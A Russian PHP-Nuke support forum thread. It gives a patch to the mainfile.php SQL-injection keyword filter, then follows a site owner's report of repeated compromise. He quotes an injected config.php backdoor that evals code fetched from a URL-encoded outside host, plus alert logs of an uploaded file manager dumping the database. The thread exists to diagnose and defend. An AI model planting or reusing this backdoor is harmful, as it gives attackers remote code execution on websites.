Forum. MyNuke.ru

Forum. MyNuke.ru (http://forum.mynuke.ru/index.php)
-   Уязвимости Защиты (http://forum.mynuke.ru/forumdisplay.php?f=15)
-   -   Дыра в фильтре Sql-инъекций (http://forum.mynuke.ru/showthread.php?t=2766)

Soniks 18.04.2007 14:24

Дыра в фильтре Sql-инъекций
 
Продукт: PHP-Nuke
Версия: 8.0
Описание:
Уязвимость позволяет в некоторых случаях обойти фильтрацию входных данных на наличие SQL-инъекций

Устранение:

Открываем mainfile.php
Находим (133 строка):
PHP код:
 if (stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'/*') OR stripos_clone($queryString,'*/union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'concat')) { 

Изменяем на:
PHP код:
 if (stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'*%2f*') OR stripos_clone($queryString,'/*') OR stripos_clone($queryString,'*/union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'concat')) { 

airman2000 08.01.2011 13:47

Вложений: 1
Новую тему создать не могу, поэтому пиши в этой.
С наступившим Новым годом и рождеством всех! :)

Наблюдаю появление вредоносного кода в таблице blocks.
см. вложение: http://forum.mynuke.ru/attachment.p...entid=345&stc=1
Подозреваю, что это SQL-инъекция.
Каким образом от этого защититься?

Soniks 08.01.2011 17:15

какая у вас версия системы установлена?
если это не давно произошло, то есть возможность отследить по логам посещения - с каким запросам такое произошло.

airman2000 08.01.2011 19:38

Недавно.
Версия старая. 7.0 еще + MyNukeSecurity

airman2000 08.01.2011 23:47

лог скачал.
теперь вопрос: по какому слову искать в логе? что вводить при поиске, чтобы найти то место, через что взломали?

Soniks 09.01.2011 15:04

если известно промежуток времени когдта появилась запись в таблице, то тогда следует в это время искать, смотреть стоит наверное на запросы Post сначала к вашему сайту, какие то не стандартные. что конкретно искать сложно сказать. это может быть даже запрос в котором передается ссылка (обычно на иностранный сайт), по которому мог и загрузиться эксплоид.

airman2000 09.01.2011 22:54

Запросы POST посмотрел примерно в том месте, пока ничего не нашел...
И все-таки не пойму, по какому слову делать поисковый запрос, если логи выглядят так:

89.185.92.*** - - [07/Jan/2011:13:57:42 +0500] "POST /modules.php?name=Your_Account HTTP/1.0" 200 44026
"modules.php?name=Your_Account&op=new_user" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19"

Soniks 09.01.2011 23:52

airman2000 предсказать какой именно запрос нужно искать сказать сложно, данный запрос считается нормальным.

airman2000 12.01.2011 09:53

И снова хакают сайт
Каким-то образом вставляют код в поле content в таблице мойпрефикс_blocks
Как это запретить?

Более того, обнаружил после у себя в папке модуля NukeC закаченный File manager
А MyNukeSecurity руганулась вот так:

IP: 78.46.102.***
USER: *****
URL: /modules.php?name=nukeC
POST variables:
a = Sql
p1 = select
p2 = magaz
c = /var/www/admin/мой_сайт
charset =
type = mysql
sql_host = localhost
sql_login = мой_логин
sql_pass = мой_пароль
sql_base = мой_база
file = dump.sql
Module: nukeC
Refer: http://www.мойсайт/modules.php?name=nukeC&2

А в файле config.php в модуле NukeC был вставлен такой код:
Код:
if(isset($_GET[2])){eval(file_get_contents(urldecode('%68%74%74%70% 3A%2F%2F%63%6D%65%78%2E%74%75%6C%61%2D%6E%65%74%2E %72%75%2F%6E%65%77%73%2F%64%61%74%61%2F%31%2E%74%7 8%74')));die();}


Помогите, что сделать?

airman2000 12.01.2011 13:26

И снова это повторилось.
Выяснил, что происходит.
Обычный блок файла php подменяется на HTML-блок, с вредоносным кодом внутри. При чем название блока не трогается.
Полагаю, это делается через базу в таблице blocks?


Часовой пояс GMT +4, время: 02:45.

Copyright © 2005 by Soniks